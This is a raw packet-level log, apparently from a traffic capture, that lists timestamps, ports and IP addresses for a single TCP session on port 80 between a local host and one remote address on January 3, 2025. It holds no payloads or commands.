Jan 3, 2025 15:21:24.114003897 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.114011049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.114022017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.114032984 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.114070892 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.118782997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.118802071 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.118838072 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.204755068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.204771996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.204854012 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.239006042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.239034891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.239064932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.239094973 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.239099979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.239115953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.239129066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.239142895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.239159107 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.239197969 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.239878893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.239952087 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.239981890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.240003109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.240048885 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.240204096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.240220070 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.240233898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.240247965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.240269899 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.240302086 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.240765095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.240781069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.240798950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.240833044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.240835905 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.240849018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.240904093 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.241573095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.241616964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.241635084 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.241635084 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.241684914 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.246589899 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.246604919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.246653080 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.295629978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.295646906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.295660019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.295703888 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.364164114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.364183903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.364200115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.364234924 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.364308119 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.364360094 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.364402056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.364427090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.364461899 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.364478111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.364492893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.364511013 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.364537954 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.364912033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.364969015 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.364999056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.365051031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.365076065 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.365092039 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.365124941 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.365154982 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.365550041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.365570068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.365607023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.365617037 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.365622044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.365653992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.365669012 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.365674973 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.365722895 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.366278887 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.366295099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.366308928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.366323948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.366336107 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.366343021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.366358042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.366374016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.366374016 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.366390944 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.366399050 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.366620064 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.367274046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.367290974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.367306948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.367332935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.367347002 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.367348909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.367362976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.367378950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.367388964 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.367393970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.367439032 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.367439032 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.368072033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.368124962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.368150949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.368165970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.368197918 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.368230104 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.569681883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.569725990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.569739103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.569753885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.569817066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.569832087 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.569843054 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.569847107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.569866896 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.569891930 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.569920063 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570045948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570096970 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570249081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570264101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570278883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570302963 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570310116 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570331097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570346117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570360899 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570364952 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570374966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570389986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570393085 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570404053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570415020 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570420027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570432901 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570445061 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570451975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570488930 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570499897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570530891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570542097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570554018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570563078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570574999 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570576906 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570585966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570596933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570597887 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570610046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570626020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570628881 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570645094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570652008 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570674896 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570691109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570691109 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570719004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570743084 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570730925 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570758104 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570771933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570784092 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570786953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570802927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570815086 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570816994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570832014 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570848942 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570868015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570868969 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570883036 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570895910 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570925951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570933104 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570939064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570950031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570960999 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570971966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570976019 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.570982933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570995092 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.570995092 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571006060 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571012020 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571017981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571032047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571047068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571053982 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571054935 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571063042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571078062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571079969 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571093082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571106911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571115017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571122885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571126938 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571135998 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571150064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571151018 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571163893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571178913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571192980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571192980 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571207047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571218014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571219921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571233988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571247101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571261883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571263075 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571275949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571285009 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571290970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571301937 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571305037 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571327925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571340084 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571341991 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571352959 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571363926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571367025 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571373940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571384907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.571393013 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.571432114 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.576632023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.576647997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.576662064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.576674938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.576685905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.576698065 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.576709986 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.576733112 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.580368042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.580387115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.580418110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.580435038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.580446005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.580446959 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.580456972 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.580470085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.580476046 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.580496073 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.580535889 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.580714941 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.580729961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.580741882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.580774069 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.580838919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.580910921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.580924988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.580939054 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.580975056 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.580975056 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.581165075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.581181049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.581209898 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.614645958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.614684105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.614696980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.614710093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.614723921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.614731073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.614743948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.614757061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.614759922 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.614823103 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.614823103 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.614871025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.614888906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.614934921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.614939928 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.614953995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.614962101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.614994049 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.615019083 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.615037918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615053892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615062952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615114927 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.615451097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615463018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615474939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615487099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615499020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615509987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615515947 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.615550995 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.615878105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615920067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615943909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615945101 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.615958929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615973949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615986109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.615988970 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.616000891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.616013050 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.616055965 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.616342068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.616396904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.616410017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.616421938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.616451025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.616451979 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.616465092 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.616471052 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.616477966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.616493940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.616509914 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.616540909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.616544962 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.616552114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.616569996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.616581917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.616614103 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.616643906 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.617296934 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.617309093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.617337942 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.617348909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.617360115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.617364883 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.617372990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.617403984 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.617429018 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.617453098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.617464066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.617475986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.617481947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.617491007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.617501974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:24.617527008 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:24.617556095 CET	49829	80	192.168.2.6	185.215.113.16
